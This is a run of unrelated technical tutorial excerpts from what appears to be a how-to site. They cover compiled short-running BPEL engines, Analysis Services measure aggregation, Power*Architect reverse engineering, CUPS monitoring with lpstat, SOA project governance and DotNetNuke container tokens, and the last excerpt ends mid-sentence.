How-To Tutorials

Fast Short-Running BPEL Let's begin with a discussion on compiled BPEL. Uses of Short-Running Processes Having developed an approach to keep SOA processes running for an arbitrarily long time, we now turn our attention to short-running processes and ask: howcan we make them run as fast as possible? The two most common uses of a short-running process are: To implement a synchronous web service operation. The process begins with an input message, runs through a quick burst of logic to process it, sends back the output message, and completes. The client application blocks for the duration, as diagram (a) in the next figure shows. If the process moves too slowly, the client will complain about the response time. To perform complex routing for the ESB. As David Chapelle discusses in his book Enterprise Service Bus (O'Reilly, 2004), a good ESB can natively perform basic content-based- and itinerary-based-routing, but it needs orchestration processes to handle more complex routing patterns. In diagram (b) in the figure, when the ESB receives a message, it passes it to an orchestration process that proceeds to perform in eight steps a series of transformation and invocation maneuvers that could never be achieved with the basic branching capabilities of the ESB. Again, speed is critical. The ESB prefers to get rid of messages as soon as it gets them. When it delegates work to an orchestration process, it expects that process to move quickly and lightly. Architecture for Short-Running Processes In considering a design to optimize the performance of these two cases, we assume that our stack has both an ESB and a process integration layer. All messages in and out of the stack go through the ESB. The ESB, when it receives an inbound message, routes it to the process integration engine for processing. The process integration engine, in turn, routes all outbound messages through the ESB. Further, we assume that the ESB uses message queues to converse with the process integration layer. Client applications, on the other hand, typically use web services to converse with the ESB. The following figure shows how we might enhance this architecture for faster short-running processes. (The implementation we consider is a Java-based BPEL process engine.) When a client application or partner process calls through the ESB, the ESB routes the event, based on the event's type, either to the general process integration engine or to an engine optimized for short-running processes. To route to the general engine, the ESB places the message on the Normal PI In Queue. That engine is drawn as a cloud; we are not concerned in this discussion with its inner workings. To route to the optimized engine, the ESB either queues the message on SR In Queue or, to reduce latency, directly calls the short-running engine's main class, ProcessManager. (Direct calls are suitable for the orchestration routing case described in the previous figure; there, processes run as an extension of the ESB, so it makes sense for the ESB to invoke them straightaway.) A set of execution threads pulls messages from SR In Queue and invokes ProcessManager to inject these inbound events to the processes themselves. The role of ProcessManager is to keep the state of, and to execute, short-running processes. Each process is represented in compiled form as a Java class (for example, ProcessA or ProcessB) that inherits from a base class called CompiledProcess. Compiled classes are generated by a tool called BPELCompiler, which creates Java code that represents the flow of control specified in the BPEL XML representation of the process. ProcessManager runs processes by creating and calling the methods of instances of CompiledProcess-derived classes. It also uses TimeManager to manage timed events. Processes, whether running on the general engine or on the optimized engine, send messages to partners by placing messages on the outbound queue Out Queue, which the ESB picks up and routes to the relevant partner. A general process engine is built to handle processes of all durations, long and short alike, and, with a mandate this extensive, does not handle the special case of time-critical short-running processes very effectively. There are three optimizations we require, and we build these into the short-running engine: Process state is held in memory. Process state is never persisted, even for processes with intermediate events. Completed process instances are cleaned out of memory immediately, so as to reduce the memory required. Processes are compiled, not interpreted. That is, the process definition is coded in Java class form, rather than as an XML document. Compilation speeds the execution time of a burst. The process may define timed events of a very short duration, to the order of milliseconds. Furthermore, the engine generates a fault when the process exceeds its SLA. The process may catch the fault or let it bubble up to the calling application. The architecture we sketched in this section, as we discover presently, is designed to meet these requirements. Example of a Very Fast Process The next figure shows a short-running process with multiple bursts that benefits from these optimizations. When the process starts, it initializes its variables (InitVars) and asynchronously invokes a partner process called the Producer (Call Producer Asynx). It then enters into a loop (FetchLoop) that, on each iteration, waits for one of the two events from the Producer: result or noMore. If it gets the result event, it, in parallel, invokes two handler services (Call Handler A and Call Handler B), and loops back. If it gets the noMore event, the process sets the loop's continuation flag to false (Set Loop Stop). The loop exits, and the process completes. While it waits for the producer events, the process also sets a timed event (too long) that fires if neither event arrives in sufficient time. If the timer expires, the process sends an exception message to the producer (Send Exception Msg Producer Async), and loops back. The timing characteristics are shown in parentheses. The producer, on average, sends a result or noMore event in 80 milliseconds. The handlers that the process invokes to handle a result event average 50 milliseconds and 70 milliseconds, but because they run in parallel, their elapsed time is the greater of these two times, or 70 milliseconds. Thus, an iteration of the loop with a result event averages roughly 150 milliseconds. Iteration with a noMore event averages just 80 milliseconds, because the activity Set Loop Stop runs nearly instantaneously. The cycle time of an instance with one result iteration and one noMore iteration is just 220 milliseconds. The too long timed event has a duration of 200 milliseconds, which in itself is rather a small interval, but is a huge chunk of time compared to the normal cycle time. The cycle time of an instance whose three intermediate events are result, too long, and noMore is 420 milliseconds on average. Times this fast cannot be achieved on a general-purpose engine. Running the Very Fast Process on the Optimized Engine The sequence diagram in the following figure illustrates how this process runs on the short-running engine: The process starts when client application sends a message intended to trigger the process' start event. The ProcessManager receives this event (either as a direct call or indirectly via an execution thread that monitors the short-running inbound queue) in its routeMessageEvent() method. It then checks with the process class—shown as Process in the figure, a subclass of the CompiledProcess class we discuss presently—whether it supports the given start event type (hasStartEvent()), and if so, injects the event into the process (onStartEvent()). The process, as part of its logic, performs the activities InitVars and CallProducerAsync and enters the first iteration of the while loop, in which it records in its data structures that it is now waiting for three pending events (Set Pending Events). Because one of these events is a timed event, it also registers that event with the TimeManager (addEvent()).The first burst is complete. In the second burst, the producer process responds with a result event (result: routeMessageEvent()). The ProcessManager checks whether the process instance is waiting for that event (hasPendingEvent()) and injects it (onIntermediateEvent()). The process invokes the two handlers (that is, it invokes CallHandler on HandlerA and HandlerB), completing the first iteration of the loop. It now loops back, resets the pending events (Set Pending Events), and registers a new timed event (addEvent()). The second burst is complete. Assuming the producer does not respond in sufficient time, the timer expires, and the TimeManager which checks for expired events on its own thread notifies the Process Manager (routeTimedEvent()). ProcessManager gives the event to the process (calling hasPendingEvent() to confirm that the process is waiting for it and onIntermediateEvent() to inject it), and the process in turn performs the SendExceptionMsg activity, completing the second iteration of the loop. The next iteration starts, and the process resets its pending events. The third burst is complete, and we leave it there.

In this two-part article by Chris Webb, we will look at measures and measure groups, ways to control how measures aggregate up, and how dimensions can be related to measure groups. In this part, will cover useful properties of measures, along with built-in measure aggregation types and dimension calculations. Measures and aggregation Measures are the numeric values that our users want to aggregate, slice, dice and otherwise analyze, and as a result, it's important to make sure they behave the way we want them to. One of the fundamental reasons for using Analysis Services is that, unlike a relational database it allows us to build into our cube design business rules about measures: how they should be formatted, how they should aggregate up, how they interact with specific dimensions and so on. It's therefore no surprise that we'll spend a lot of our cube development time thinking about measures. Useful properties of Measures Apart from the AggregateFunction property of a measure, which we'll come to next, there are two other important properties we'll want to set on a measure, once we've created it. Format string The Format String property of a measure specifies how the raw value of the measure gets formatted when it's displayed in query results. Almost all client tools will display the formatted value of a measure, and this allows us to ensure consistent formatting of a measure across all applications that display data from our cube. A notable exception is Excel 2003 and earlier versions, which can only display raw measure values and not formatted values. Excel 2007 will display properly formatted measure values in most cases, but not all. For instance, it ignores the fourth section of the Format String which controls formatting for nulls. Reporting Services can display formatted values in reports, but doesn't by default; this blog entry describes how you can make it do so:  http://tinyurl.com/gregformatstring. There are a number of built-in formats that you can choose from, and you can also build your own by using syntax very similar to the one used by Visual BASIC for Applications (VBA) for number formatting. The Books Online topic FORMAT_STRING Contents gives a complete description of the syntax used. Here are some points to bear in mind when setting the Format String property: If you're working with percentage values, using the % symbol will display your values multiplied by one hundred and add a percentage sign to the end. Note that only the display value gets multiplied by hundred—the real value of the measure will not be, so although your user might see a value of 98% the actual value of the cell would be 0.98. If you have a measure that returns null values in some circumstances and you want your users to see something other than null, don't try to use a MDX calculation to replace the nulls—this will cause severe query performance problems. You can use the fourth section of the Format String property to do this instead—for example, the following: #,#.00;#,#.00;0;NA will display the string NA for null values, while keeping the actual cell value as null without affecting performance. Be careful while using the Currency built-in format: it will format values with the currency symbol for the locale specified in the Language property of the cube. This combination of the Currency format and the Language property is frequently recommended for formatting measures that contain monetary values, but setting this property will also affect the way number formats are displayed: for example, in the UK and the USA, the comma is used as a thousands separator, but in continental Europe it is used as a decimal separator. As a result, if you wanted to display a currency value to a user in a locale that didn't use that currency, then you could end up with confusing results. The value €100,101 would be interpreted as a value just over one hundred Euros to a user in France, but in the UK, it would be interpreted as a value of just over one hundred thousand Euros. You can use the desired currency symbol in a Format String instead, for example '$#,#.00', but this will not have an effect on the thousands and decimal separators used, which will always correspond to the Language setting. You can find an example of how to change the language property using a scoped assignment in the MDX Script here: http://tinyurl.com/gregformatstring. Similarly, while Analysis Services 2008 supports the translation of captions and member names for users in different locales, unlike in previous versions, it will not translate the number formats used. As a result, if your cube might be used by users in different locales you need to ensure they understand whichever number format the cube is using. Display folders Many cubes have a lot of measures on them, and as with dimension hierarchies, it's possible to group measures together into folders to make it easier for your users to find the one they want. Most, but not all, client tools support display folders, so it may be worth checking whether the one you intend to use does. By default each measure group in a cube will have its own folder containing all of the measures on the measure group; these top level measure group folders cannot be removed and it's not possible to make a measure from one measure group appear in a folder under another measure group. By entering a folder name in a measure's Display Folder property, you'll make the measure appear in a folder underneath its measure group with that name; if there isn't already a folder with that name, then one will be created, and folder names are case-sensitive. You can make a measure appear under multiple folders by entering a semi-colon delimited list of names as follows: Folder One; Folder Two. You can also create a folder hierarchy by entering either a forward-slash / or back-slash delimited list (the documentation contradicts itself on which is meant to be used—most client tools that support display folders support both) of folder names as follows: Folder One; Folder TwoFolder Three. Calculated measures defined in the MDX Script can also be associated with a measure group, through the Associated_Measure_Group property, and with a display folder through the Display_Folder property. These properties can be set either in code or in Form View in the Calculations tab in the Cube Editor: If you don't associate a calculated measure with a measure group, but do put it in a folder, the folder will appear at the same level as the folders created for each measure group. Built-in measure aggregation types The most important property of a measure is AggregateFunction; it controls how the measure aggregates up through each hierarchy in the cube. When you run an MDX query, you can think of it as being similar to a SQL SELECT statement with a GROUP BY clause—but whereas in SQL you have to specify an aggregate function to control how each column's values get aggregated, in MDX you specify this for each measure when the cube is designed. Basic aggregation types Anyone with a passing knowledge of SQL will understand the four basic aggregation types available when setting the AggregateFunction property: Sum is the commonest aggregation type to use, probably the one you'll use for 90% of all the measures. It means that the values for this measure will be summed up. Count is another commonly used property value and aggregates either by counting the overall number of rows from the fact table that the measure group is built from (when the Binding Type property, found on the Measure Source dialog that appears when you click on the ellipses button next to the Source property of a measure, is set to Row Binding), or by counting non-null values from a specific measure column (when Binding Type property is set to Column Binding). Min and Max return the minimum and maximum measure values. There isn't a built-in Average aggregation type—as we'll soon see, AverageOfChildren does not do a simple average—but it's very easy to create a calculated measure that returns an average by dividing a measure with AggregateFunction Sum by one with AggregateFunction Count, for example: CREATE MEMBER CURRENTCUBE.[Measures].[Average Measure Example] ASIIF([Measures].[Count Measure]=0, NULL,[Measures].[Sum Measure]/[Measures].[Count Measure]); Distinct Count The DistinctCount aggregation type counts the number of distinct values in a column in your fact table, similar to a Count(Distinct) in SQL. It's generally used in scenarios where you're counting some kind of key, for example, finding the number of unique Customers who bought a particular product in a given time period. This is, by its very nature, an expensive operation for Analysis Services and queries that use DistinctCount measures can perform worse than those which use additive measures. It is possible to get distinct count values using MDX calculations but this almost always performs worse; it is also possible to use many-to-many dimensions to get the same results and this may perform better in some circumstances; see the section on "Distinct Count" in the "Many to Many Revolution" white paper, available at http://tinyurl.com/m2mrev. When you create a new distinct count measure, BIDS will create a new measure group to hold it automatically. Each distinct count measure needs to be put into its own measure group for query performance reasons, and although it is possible to override BIDS and create a distinct count measure in an existing measure group with measures that have other aggregation types, we strongly recommend that you do not do this. None The None aggregation type simply means that no aggregation takes place on the measure at all. Although it might seem that a measure with this aggregation type displays no values at all, that's not true: it only contains values at the lowest possible granularity in the cube, at the intersection of the key attributes of all the dimensions. It's very rarely used, and only makes sense for values such as prices that should never be aggregated. If you ever find that your cube seems to contain no data even though it has processed successfully, check to see if you have accidentally deleted the Calculate statement from the beginning of your MDX Script. Without this statement, no aggregation will take place within the cube and you'll only see data at the intersection of the leaves of every dimension, as if every measure had AggregateFunction None. Semi-additive aggregation types The semi-additive aggregation types are: AverageOfChildren FirstChild LastChild FirstNonEmpty LastNonEmpty They behave the same as measures with aggregation type Sum on all dimensions except Time dimensions. In order to get Analysis Services to recognize a Time dimension, you'll need to have set the dimension's Type property to Time in the Dimension Editor. Sometimes you'll have multiple, role-playing Time dimensions in a cube, and if you have semi-additive measures, they'll be semi-additive for just one of these Time dimensions. In this situation, Analysis Services 2008 RTM uses the first Time dimension in the cube that has a relationship with the measure group containing the semi-additive measure. You can control the order of dimensions in the cube by dragging and dropping them in the Dimensions pane in the bottom left-hand corner of the Cube Structure tab of the Cube Editor; the following blog entry describes how to do this in more detail: http://tinyurl.com/gregsemiadd. However, this behavior has changed between versions in the past and may change again in the future. Semi-additive aggregation is extremely useful when you have a fact table that contains snapshot data. For example, if you had a fact table containing information on the number of items in stock in a warehouse, then it would never make sense to aggregate these measures over time: if you had ten widgets in stock on January 1, eleven in stock on January 2, eight on January 3 and so on, the value you would want to display for the whole of January would never be the sum of the number of items in stock on each day in January. The value you do display depends on your organization's business rules. Let's take a look at what each of the semi-additive measure values actually do: AverageOfChildren displays the average of all the values at the lowest level of granularity on the Time dimension. So, for example, if Date was the lowest level of granularity, when looking at a Year value, then Analysis Services would display the average value for all days in the year. FirstChild displays the value of the first time period at the lowest level of granularity, for example, the first day of the year. LastChild displays the value of the last time period at the lowest level of granularity, for example, the last day of the year. FirstNonEmpty displays the value of the first time period at the lowest level of granularity that is not empty, for example the first day of the year that has a value. LastNonEmpty displays the value of the last time period at the lowest level of granularity that is not empty, for example the last day of the year that has a value. This is the most commonly used semi-additive type; a good example of its use would be where the measure group contains data about stock levels in a warehouse, so when you aggregated along the Time dimension what you'd want to see is the amount of stock you had at the end of the current time period. The following screenshot of an Excel pivot table illustrates how each of these semi-additive aggregation types works: Note that the semi-additive measures only have an effect above the lowest level of granularity on a Time dimension. For dates like July 17th in the screenshot above, where there is no data for the Sum measure, the LastNonEmpty measure still returns null and not the value of the last non-empty date.

Power*Architect—from SQL Power—is a free software data modeling tool, which you can download from its website www.sqlpower.ca and use it under GPLv3 license. Reverse Engineering To reverse engineer is to create the data model of an existing database. To reverse engineer an existing database in Power*Architect, we need to connect to the database. Figure 1 shows the Power*Architect's connection window where we define (create) our connection to the MySQL sales database that we'd like to reengineer. Figure 1: Creating a database connection By adding the conn_packt connection, the sales database objects are now available in Power*Architect. Figure 2: Adding a database connection By expanding the sales database, you can see all the objects that you need to create its data model. Figure 3: Database objects You create the ER diagram of the sales data model by dragging the sales object into the canvas (called playpen in Power*Architect) Note that the objects in the model (those in the diagram) are now in the PlayPen Database. Figure 4: Database objects in the PlayPen Now that you have created the data model, you might want to save it. Figure 5: Saving the data model (project) Figure 6: Saving sales.architect data model (project) You have completed the sales database reverse-engineering. Updating the Data Model Let's now add two new tables (hardware and software) and relate them to the product table. You add a table by clicking the New Table tool and dropping your cursor on the white space of the canvas. Figure 7: New Table tool Type in the name of the table, and then click OK. Figure 8: Adding hardware table We now add a column to the hardware table by right-clicking the table and selecting New Column. Figure 9: New Column menu selection Type in the name of the column (model), select VARCHAR data type (and its length), then click OK. Figure 10: The model column After adding the two tables and their columns, our ER diagram will look like in Figure 11. Figure 11: The hardware and software tables Our last update is relating the hardware and software tables to the product table. Select the New Identifying Relationship tool; click it to the product and then the software. Figure 12: New Identifying Relationship tool The software table is now related to the product table. Note that the product's primary key is migrated to the software table as a primary key. Figure 13: software and product tables are related

The Common UNIX Printing System (CUPS) is actually a printer management tool, and thus monitoring CUPS always remains a very essential activity to to make the best use of the resources available. Monitoring CUPS will allow us to take action quickly should something go wrong. Using the lpstat Command The lpstat command displays the status of the CUPS service, printers, classes, and jobs. It supports a number of options. If the command is used without any options, it displays the job queues for the current user: $lpstatcupstest-3 kajol 8192 Tue Aug 05 13:24:43 2008cupstest-4 kajol 8192 Tue Aug 05 13:25:34 2008 To check whether the CUPS server is running, use the -r option. $lpstat -rscheduler is running$lpstat -dsystem default destination: cupsclass The above command gives information about the default destination printer or class. The output following the command shows that the default destination of the system is cupsclass. $lpstat -c cupsclass This shows the printer class and the member printers belonging to that class. If a particular class is not specified, then the output shows all classes along with their member printers. members of class cupsclass:cupsprinter1cupsprinter2$lpstat -v cupsprinter2 The command above will show the device to which cupsprinter1 is attached. If no printers are specified, then the output will list all printers along with device-uri information. device for cupsprinter2: ipp://cupsserver.cupsgroup.org/printers/cupsprinter2$lpstat -s This shows a status summary for all printers and classes on the network. The summary includes the default destination, a list of classes and their member printers, and a list of printers and their associated devices. The output is equivalent to using the -d, -c, and -v options simultaneously. system default destination: cupsclassmembers of class cupsclass:cupsprinter1cupsprinter2device for cupsprinter1: lpd://192.168.0.11/printers/cupsprinter1device for cupsprinter2: ipp://cupsserver.cupsgroup.org/printers/cupsprinter2$lpstat -a This command shows if printers are currently accepting jobs. If no printers are specified, then it will list all printers. cupsprinter1 accepting requests since Mon 16 Jun 2008 02:28:14 PM ISTcupsprinter2 accepting requests since Wed 18 Jun 2008 11:07:23 AM IST$lpstat -p cupsprinter1 This shows whether the printer cupsprinter1 is enabled and if it is currently printing a job. If no printers are specified then all the printers are listed. printer cupsprinter1 is idle. enabled since Mon 16 Jun 2008 02:28:14 PM IST$lpstat -o This shows the job queues on the specified destinations. If no destinations are specified then all jobs are shown. $lpstat -t This displays status information for all printers, which is equivalent to using the -r, -d, -c, -v, -a, -p, and -o options. scheduler is runningsystem default destination: cupsclassmembers of class cupsclass:cupsprinter1cupsprinter2device for cupsprinter1: lpd://192.168.0.11/printers/cupsprinter1device for cupsprinter2: ipp://cupsserver.cupsgroup.org/printers/cupsprinter2cupsprinter1 accepting requests since Mon 16 Jun 2008 02:28:14 PM ISTcupsprinter2 accepting requests since Wed 18 Jun 2008 11:07:23 AM ISTprinter cupsprinter1 is idle. enabled since Mon 16 Jun 2008 02:28:14 PM ISTprinter cupsprinter2 now printing cupsprinter2-5711. enabled since Wed 18 Jun 2008 03:12:55 PM ISTPrinter is now on-line.cupsprinter2-5711 kajol 1449984 Wed 18 Jun 2008 03:12:55 PM IST$lpstat -l This command displays printers, classes, or jobs in a long list. $lpstat -u This shows a list of print jobs queued by the specified users. If no users are specified, it lists the jobs queued by the current user. cupsprinter2-5711 kajol 1449984 Wed 18 Jun 2008 03:12:55 PM IST$lpstat -h 192.168.0.11:631 The above command specifies an alternative server for CUPS. It uses the port number that is specified along with the server. If no port is specified, then it will connect to the default port 631. $lpstat -U username You can specify an alternative username with the -U option $lpstat -R : $lpstat -W all This shows the ranking of print jobs. This command specifies which jobs to show, complete, incomplete (the default), or all. This option must appear before the -o option and any printer names: $lpstat -W completed -o cupsprinter2 The output will be as follows cupsprinter2-5709 kajol 483328 Wed 18 Jun 2008 03:10:45 PM ISTcupsprinter2-5710 kajol 97280 Wed 18 Jun 2008 03:12:18 PM ISTcupsprinter2-5711 kajol 1449984 Wed 18 Jun 2008 03:12:55 PM ISTcupsprinter2-5712 kajol 8192 Wed 18 Jun 2008 03:22:31 PM ISTcupsprinter2-5713 kajol 9216 Wed 18 Jun 2008 03:23:38 PM ISTcupsprinter2-5714 kajol 9216 Wed 18 Jun 2008 03:24:23 PM IST$lpstat -E This command forces encryption when connecting to a print server.

Beginning Your SOA Journey Many organizations start their journey towards SOA through some sort of grass roots effort. Unfortunately, these efforts normally result in what's known as JBOS (Just a Bunch of Services). Typically, a project that had previously used some form of distributed component technology, such as Enterprise Java Beans, has now chosen to use XML or SOAP and HTTP, instead. The issue with this approach is that the service boundary that establishes the consumer and provider relationship really doesn't exist when one team is responsible for both the consumer and the provider. Eventually, the organization will encounter a situation where the development of the service and development of the consumer takes place in a separate project. This could be due to there being more than one consumer, a B2B scenario where services are developed for consumption by partner companies, a large program that involves many independently managed projects, or simply a decision that the organization makes as it learns more about SOA. In our example, this was exactly the case. There was a program that encompassed three separate projects, two that involved development of service consumers, and one that handled the service development. The two consumers were the front-end for the auto insurance system and the front-end for the home insurance system. Spencer's project was responsible for creating a new service that provided an abstraction layer in front of the data systems for both applications. Key Project Roles The nice thing about projects and programs is that they have an explicit hierarchy. If a developer has a question or concern, they work with the project architect. The project architect may take things to the project manager, and the project manager may take things to the sponsor. If it's a program, then there's likely a hierarchy of architects and project managers, but everything bubbles its way up to the top. Everyone working on the project understands the objectives, the scope, the milestones, and the deadlines. This explicit hierarchy is the first, and often only, source of governance within the project. Within the project we have one piece of the governance puzzle: people. The challenge, however, is that the people only have authority within the project. If your SOA adoption efforts are broader than that single project or program, you'll likely run into problems. In our Advasco example, Spencer ran into exactly this problem. Initially, Spencer only had to deal with project managers that were within the overall program. These project managers knew that the desired outcome was a shared, accurate, complete view of the customer, and it would be achieved through usage of the new service. As a result, they worked together with Spencer to ensure that outcome would be reached. When Spencer went outside of the program, however, his position of authority did not go with him. When he met with Ryan, he had no perceived or explicit authority. Even though the company had recognized a need to improve its image with its customers, the scope of that effort within IT was limited to the home and auto insurance areas. Therefore, for Ryan, service reuse was not on his list of desired outcomes, and regardless of how good Spencer made it sound, it was not something that he was willing to risk for the outcomes that he did desire. The Service Contract In this example, we clearly had a service provider, Spencer and his team, and two service consumers, the auto insurance application whose development efforts were managed by Jennifer and the home insurance application managed by Mark. A key aspect of this example is that these three efforts were independently managed, even though all being under a common program. A service should be independent of all consumers and this begins at the time that version one is developed, not at the time version one goes into production. In our example, imagine if the service development was under the management of either Mark's project or Jennifer's project. If a conflict arose, whose project would win out? Clearly, the project manager that oversees the service development effort has the upper hand, and will likely make decisions that will benefit their own project first. By separating out the service development as an independently managed effort, both of the two consumers are now equal, as they should be. When we have the notion of a service consumer and a service provider, we need an explicit representation of the relationship between them, and that relationship is a service contract. This is no different than how we deal with services in the real world. If you hire a crew to replace the roof on your home, the first step is for you and the construction crew to sign a contract that governs the work. It provides governance by establishing policies. These include the hours that work will take place, the time in which the work will be done, the payment schedule and conditions, the behavior of the crew in the event of bad weather, and so on. In the world of SOA, the service contract is the collection of policies that govern the interaction between a service consumer and a service provider. That contract states the messages that will be exchanged, the URIs to be utilized, and more. In this article, the initial focus was on two factors: the functional interface and the delivery schedule of the implementation. This is where most organizations start as the functional interface and a working implementation of that interface are clearly the minimum mandatory elements. It is no surprise that terminology like contract-first quickly sprung up as the varying technical approaches started to gain in popularity. This article also addressed another key element of service contracts. In the real world, a contract is a binding agreement between two parties. Using our earlier roofing example, if the contractor replaces the roof on your house as well as the roof on your neighbor's house, he would have one contract with you and one contract with your neighbor. While you and your neighbor are both receiving the same service (a new roof) the terms and conditions around that service are likely to be different. You may both have been presented a standard contract to begin with, but from that point on, each one of you may have made your own adjustments or additions. The same approach needs to hold true for technology services. You may choose to expose a subset of operations to one consumer, while another consumer may have access to all operations. In our example, Spencer's efforts initially fell short. He had initial conversations with Jennifer, but the only thing that came out of it was some agreement on when things had to go live. There was no discussion of the service interface, no discussion of the delivery schedule of milestone releases, or anything else. Given that this service was only going to be consumed internally, the development of the interface should have been a joint effort of both the consumer and provider. Spencer's team would bring domain knowledge from the provider's side, Jennifer's team would bring domain knowledge from the consumer's side, and together they would establish a service interface that was amenable to both. Instead, Spencer's team developed the initial service interface in a vacuum, creating something that may have met their needs, but did not meet the needs of the consumer. Meeting the needs of the consumer is the most important aspect of providing a service. The second mistake that Spencer made was that he did not establish a formal definition of the handoffs that would be required between his team and Jennifer's team. In providing Jennifer's team an endpoint that could be used during development, he thought he was doing the right thing, but then when that endpoint changed out from underneath them, since, after all, it was under development, it had an impact on the trust between Jennifer's team and his team. This particular situation can be a challenging one for many organizations, because the basic design of their environments often assumes that everything required for a project is under the control of the project team, and can therefore be promoted through the environments in lock-step. Now, when service consumers and the service provider are being developed according to their own timelines, instability can be introduced. The appropriate way to handle this situation is to make explicit those policies that govern the interaction between the service consumers and the service provider during the design and development phase, rather than dealing with situations that arise on an ad hoc basis. The service provider has the responsibility for delivering a stable version of the service at various points throughout the project, and deploying it onto a stable platform that only changes according to the policies within the contracts enacted with the consumer teams. For example, suppose both the service consumer and service provider are taking an iterative approach to the development of their solutions. In order to allow the service consumer adequate time for testing and feedback, the service provider may only promote a subset of their iteration builds to an integration environment for use by the service consumer. The service consumer would be required to provide feedback within a specified amount of time in order to have the fix included in a subsequent integration release. This is shown in the following figure: In short, within a single project, iterative, agile development can certainly take precedence. Across projects, however, the handoffs should be formalized and explicitly specified as part of the service contract, especially when two or more consumers are involved. Adding SOA to Traditional Project Governance While the big change for the organization is learning how to manage the consumer-provider relationship, we can't forget about traditional project governance. Today, your organization may make use of architecture reviews, design reviews, code reviews, and operational readiness reviews as part of the software development process. These reviews already embody the three components of governance: people, policies, and process. These reviews more than likely involve resources from outside the project that the enterprise has positioned as authorities. An architecture review may involve enterprise architects, more senior architects, or other architectural peers. A design review may involve architects or senior developers. A code review may involve senior developer or other development peers. The operational readiness review probably involves members of the operational areas to ensure that a handoff to the support teams will be successful. In order for these reviews to be successful, the policies that need to be followed for architecture, design, coding, and deployment need to be known to the project team. In the absence of documented policies that encourage the desired behavior, these reviews tend to be a show of power by the review team, where it is simply an exercise in trying to find something about the project to make the statement that they know better than the project team. Meanwhile, the project team plays a guessing game trying to determine what the review team wants to see, usually winding up wrong. In short, without documented policies, the review tends to be a lose-lose situation for all involved. The process is the part that can vary. Some organizations choose to utilize a formal review process where an hour or two of time is scheduled with the reviewing body, the team prepares a formal presentation, and the review takes place. However, it doesn't need to be this heavyweight. Any of these reviews could also be done in a more informal manner, with a single meeting between a recognized authority for the review being done and the project architect or technical lead. If there is a formal technical hierarchy in the organization, the process may simply be part of the normal conversation that a project architect has with their architecture manager on a regular basis. Finally, an organization can even choose to have no review process, and simply trust that the decision makers on the project have awareness of the policies that must be followed. So how does SOA change the current governance model for projects? Presuming your existing governance model is working, the only thing that SOA introduces is additional policies. If your existing governance model isn't working, consider making a change. You now have a project that is building a new artifact, the service. While we discussed the importance of involving potential consumers in the definition of the service interface, the enterprise also has a role. Policies that are normally enforced by an external review board are typically associated with ensuring consistency across projects. When building services, the areas for consistency are: The technologies used for the service implementation The technologies used for communication between the consumer and the provider The representation of the information that is transferred between the consumers and the provider Service Implementation Technologies The first area that an enterprise may strive for consistency is in the technologies used to build services, also known as service platform technologies. There's a good chance that an organization may already have some standardization in this area, such as a single Java EE application server. Even if they do, there is still room for standardization. At a minimum, the organization will need a general purpose application server and an associated development framework, such as a Java EE application server or Windows Server and the Microsoft .NET framework. Both of these platforms provide libraries for many different types of service communication technologies, as well as a robust library of open-source frameworks either as alternative or as extensions for other purposes. Depending on your organization, you may have one or many of these platforms. A general principle that organizations try to use is to not have two tools for the same job. That being said, if an organization has a federated IT department, whether due to past acquisitions, geographic needs, or other reasons, each of these separate IT groups may have their own standards. In addition to the general purpose application server, another common service platform is the automated process platform, frequently associated with the use of BPEL technologies. This is a new breed of development platform tailored towards the orchestration of other services. Typically, it involves a graphical modeler, providing a drag-and-drop metaphor for connecting services in an orchestrated sequence, such as shown in the following figure: Depending on the product chosen, it may include some out-of-the-box adapters for doing common activities, such as retrieving records from a relational database, publishing messages to an enterprise messaging systems, or sending an email message. The recommended approach for determining the appropriate number of service platforms is to first determine the service types that an organization may need to provide. A service type is a class of service with a specific set of capabilities that may lend itself to specific technologies. Common types for which you may consider having specific platforms include: Composite services Automated (Orchestrated) processes Integration services Presentation services Management services Information services Content subscription services General business services Composite services are, as the name implies, services that are built from other services. This typically involves combining the output of several services and combining it to be delivered to a consumer through a single service. Automated processes, as was discussed earlier, are about the orchestration of a collection of services to perform a higher level function. Frequently, composite services can be thought of as a subset of the overall space of automated processes. Integration services are services that are geared towards communication with third-party systems, such as SAP and Oracle. These are frequently associated with Enterprise Application Integration, or EAI, technologies. While EAI, as a category, has lost favor, there is still plenty of need for integration technologies in communicating with these complex application platforms. Presentation services are services that provide user interface functionality, whether simply content in a presentation-friendly format, or fully featured presentation components suitable for composition in a portal context. Management services are services that are geared towards the management of IT systems, typically leveraging technologies like SNMP (Simple Network Management Protocol) and JMX (Java Management Extensions) for communication. Information services are services that are intended for data access and manipulation. These are typically marketed as Data Service Platforms or Enterprise Information Integration products. Content subscription services, such as news feeds, are intended to provide content to consumers on a subscription basis using technologies such as RSS (Really Simple Syndication) and Atom. General business services is the final service type, and is intended to be the catch-all for other services that don't cleanly fit into any of the previous categories. These would normally be implemented using a general purpose application server platform.

Creating our first container In VWD (Visual Web Developer), from the Solution Explorer window, find the following location and create a new folder called FirstSkin: ~/Portals/_default/Containers/ Add a new item by right-clicking on this new folder. Add a new HTML file and call it Container.htm. Similarly, add a CSS and an XML file, Container.css and Container.xml respectively. Clear out all the code in the newly created files that VWD initializes it with. DNN tokens for containers These tokens, however, have applied mostly to creating skins, not containers. Containers have their own set of tokens to use here. The following is a listing of them. We'll be working with them throughout the rest of this article. Actions: This is the menu that will appear when you hover over the triangle. It is traditionally placed to the left of the icon and title of the module. Title: As you can imagine, this is the title of the module displayed in the container. This is usually placed at the top. Icon: Most of the modules don't have an icon, but many of the administrative pages in DotNetNuke have icons assigned to them. You can always assign icons to your modules, but none of them are set by default. Visibility: This skin object is traditionally displayed as a plus or a minus sign inside a small square. It acts as a toggle to show or hide/collapse or expand the content of the module. Content Pane: Similar to when we created our skin, this is where the content goes. The difference here is that we have only one content pane. It is required in order to make the container work. LINKACTIONS: This isn't used very often in containers. It is a listing of links that gives you access to the same things contained in the ACTIONS skin object. PRINTMODULE: This is the small printer icon you see in the preceding screenshot. When you click on it, it allows you to print the contents of the module. ACTIONBUTTON: This skin object allows you to display items as links or image links to commonly used items found in the actions menu. The last item on that list, the ActionButton, is different from the others in that we can have several uses of it in different ways. When used as a token, you would place them in your container HTM file as [ACTIONBUTTON:1], [ACTIONBUTTON:2], [ACTIONBUTTON:3], and so on. As you can imagine, we would define what each of these action buttons refer to. We do this in the XML file with an attribute called CommandName. For example, the following is a code snippet of what you could have to add as an action button: <Objects> <Object> <Token>[ACTIONBUTTON:1]</Token> <Settings> <Setting> <Name>CommandName</Name> <Value>AddContent.Action</Value> </Setting> <Setting> <Name>DisplayIcon</Name> <Value>True</Value> </Setting> <Setting> <Name>DisplayLink</Name> <Value>True</Value> </Setting> </Settings> </Object> Looking at the CommandName attribute, we can have several values which will 